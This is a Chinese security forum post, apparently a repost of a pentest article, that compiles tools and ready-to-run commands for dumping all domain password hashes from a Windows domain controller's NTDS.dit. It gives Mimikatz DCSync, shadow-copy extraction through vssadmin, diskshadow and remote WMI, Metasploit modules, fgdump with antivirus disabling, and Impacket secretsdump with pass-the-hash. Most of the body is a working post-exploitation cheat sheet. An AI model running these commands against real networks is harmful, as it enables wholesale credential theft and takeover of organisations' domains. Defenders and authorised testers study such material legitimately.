安全矩阵

 找回密码
 立即注册
搜索
查看: 2228|回复: 0

抓取域密码哈希的各种工具集合

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-22 09:11:21 | 显示全部楼层 |阅读模式
原文链接:抓取域密码哈希的各种工具集合

在拿到域管理员权限之后,都会提取所有域用户的密码哈希进行离线破解和分析。这些密码哈希存储在域控制器(NTDS.DIT)中的数据库文件中,并包含一些附加信息,如组成员和用户。
NTDS.DIT 文件经常被操作系统使用,因此不能直接复制到另一个位置提取信息。此文件可在以下 Windows 目录下找到:
C:\Windows\NTDS\NTDS.dit:
下面就是关于如何提取域内哈希的各种方式及相关工具。
MimikatzMimikatz 有一个功能(dcsync),该功能使用目录复制服务(DRS)从 NTDS.DIT 文件中检索密码散列。通过这种方式无需登录域控制器进行操作,在任意一台域内成员机上均可操作,使用命令如下:
lsadump::dcsync /domain:pentestlab.local /all /csv

通过使用 /user参数指定用户名,Mimikatz 可以提取指定用户的密码信息:
lsadump::dcsync /domain:pentestlab.local /user:test

或者,直接在域控制器上执行 Mimikatz ,从进程 lsass 中提取:
privilege::debug
lsadump::lsa /inject

提取的密码信息如下:

EmpirePowerShell Empire 有两个模块可以通过 DCSync 获取域内哈希。这两个模块都需要以域管理员的权限执行。该模块依赖于 Invoke-Mimikatz PowerShell 脚本来执行与 DCSync 相关的 Mimikatz 命令。dcsync_hashdump 模块输出的结果与 Metasploit 的 hashdump 命令相似:
usemodule credentials/mimikatz/dcsync_hashdump

DCSync 模块要求指定用户才能提取所有帐户信息:

获得的信息如下:

NishangNishang 是一个 PowerShell 框架,Copy-VSS.ps1 脚本可用于自动提取所需文件:NTDS.DIT、SAM 和 SYSTEM,提取的文件存放于指定的目录下,项目下载地址:
https://github.com/samratashok/nishang
使用命令如下:
Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\

或者在 meterpreter 中使用:
load powershell powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS

也可以直接在 Powershell 会话中执行:
Copy-VSS Copy-VSS -DestinationDir C:\Ninja

PowerSploitPowerSploit 包含一个 PowerShell 脚本,VolumeShadowCopyTools.ps1 使用 shadow copy 服务,创建新的卷来提取相关文件:
Import-Module .\VolumeShadowCopyTools.ps1 New-VolumeShadowCopy -Volume C:\ Get-VolumeShadowCopy

或者在 Meterpreter 会话中使用:
powershell_shell New-VolumeShadowCopy -Volume C:\ Get-VOlumeShadowCopy

然后,文件可以通过命令从新卷中复制。
Invoke-DCSync脚本下载地址:
https://gist.github.com/monoxgas/9d238accd969550136db
使用命令:
Invoke-DCSync

结果将格式化为四个表:域、用户、ID 和 hash。然而,使用参数 -PWDumpFormat 执行可以将结果格式化为: user:id:lm:ntlm:::
Invoke-DCSync -PWDumpFormat

在 Meterpreter 会话中运行脚本,可以实现相同的输出:

使用 -PWDumpFormat 参数:

ntdsutilntdsutil 是一个命令行工具,是域控制器生态系统的一部分,其目的是使管理员能够访问和管理 Windows Active Directory 数据库。利用这个可以将相关文件提取出来,进行离线提取:
ntdsutil activate instance ntds ifm create full C:\ntdsutil quit quit

生成两个新文件夹:Active Directory 和 Registry。NTDS.DIT 文件将保存在 Active Directory 中,SAM 和 SYSTEM 文件将保存到注册表文件夹中

DiskShadow​​
DiskShadow 是一个微软签名的二进制文件,用于协助管理员进行与卷影复制服务(VSS)相关的操作,将以下内容保存在 diskshadow.txt 内:
set context persistent nowritersadd volume c: alias someAliascreateexpose %someAlias% z:exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.ditdelete shadows volume %someAlias%reset然后执行:
diskshadow.exe /s c:\diskshadow.txt

运行以下命令将列出系统所有可用的卷影副本:
diskshadow LIST SHADOWS ALL

还需保存 system 的注册表项,因为其中保存了 NTDS 文件的解密密钥:
reg.exe save hklm\system c:\exfil\system.bak

WMI通过 WMI 远程提取 NTDS.DIT 和 SYSTEM 文件,需要用到 vssadmin 来创建快照:
wmic /node:dc /userENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

然后,远程执行复制命令,将相关文件移动到指定目录:
wmic /node:dc /userENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"

这同样适用于 SYSTEM 文件:
wmic /node:dc /userENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"

然后将保存到文件移动到离线提取哈希的机器上:
PS C:\Users\test.PENTESTLAB> copy \10.0.0.1\c$\temp\ntds.dit C:\temp PS C:\Users\test.PENTESTLAB> copy \10.0.0.1\c$\temp\SYSTEM.hive C:\temp

如果已经生成了黄金票据,则可以使用 Kerberos 与域控制器进行身份验证。
vssadminvssadmin 是一个 Windows 命令行实用程序,管理员能够使用它备份计算机、卷和文件。Volume Shadow Copy作为服务运行,要求文件系统为 NTFS 格式。在 cmd 上执行下面的命令,制作 C 盘的卷影:
vssadmin create shadow /for=C:

C 盘的所有文件都已经复制到 HarddiskVolumeShadowCopy1 上,操作系统不直接使用,所以可以访问和复制其上的任何文件。将 NTDS.DITSYSTEM 文件复制到本地名为 ShadowCopy 的新文件夹:
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

这些文件需要从域控制器复制到另一个主机进行进一步处理:

vssownvssadmin 类似,vssown 是一个 vbs 脚本,可以创建和删除卷影副本,使用方式如下:
cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete

可以使用命令复制副本中的所需文件:
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown

MetasploitMetasploit 框架中可以使用下面的模块,提取 ntds 中的相关信息:
auxiliary/admin/smb/psexec_ntdsgrab

还可以使用下面的模块,直接在域控弹回的会话中执行:
windows/gather/credentials/domain_hashdump

或者在 meterpreter 中域控的会话直接执行 hashdump 命令,这种方式比较危险,因为容易使域控崩溃,谨慎使用:

fgdumpfgdump 是一个老的二进制文件,可以提取 LM 和 NTLM 密码散列,下载地址:
http://www.foofus.net/fizzgig/fgdump/fgdump-2.1.0-exeonly.zip
如果已经获得本地管理员凭据,则可以在本地或远程执行。在执行期间,fgdump 将尝试禁用可能在系统上运行的防病毒软件,如果成功禁用则将结果保存在文件中,如果失败,则不进行提取,防止被检测,使用方法直接在域控上运行即可:
fgdump.exe

可以通过 .pwdump 后缀的文件来查看结果:
type 127.0.0.1.pwdump

NTDS 离线提取​​
Impacket 是 python 脚本编写工具框架,使用其中的 impacket-secretsdump 模块提取 NTDS 中的密码哈希,下载地址:
https://github.com/CoreSecurity/impacket
提取之前需要 SYSTEM 和 NTDS 的数据库文件:
impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

此外,还可以远程提取 NTDS 的哈希,需要使用域管账号和哈希:
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc$@10.0.0.1

NTDSDumpEx 二进制文件也可以从 ntds.dit 中提取哈希,下载地址:
https://github.com/zcgonvh/NTDSDumpEx
使用方式:
NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

还有一个 shell 脚本 adXtract,下载地址:
https://github.com/LordNem/adXtract
使用方式:
./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

脚本会将不同信息存储在不同到文件中,比如用户信息:

密码散列到格式如下:

总结本文整理了各种工具,以各种方式提取 NTDS 中的所有域哈希,最好的方式就是在 DCSync 和离线提取,尽量不要在域控服务器上执行过多操作,以免对目标造成可用性上的威胁。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:53 , Processed in 0.014300 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表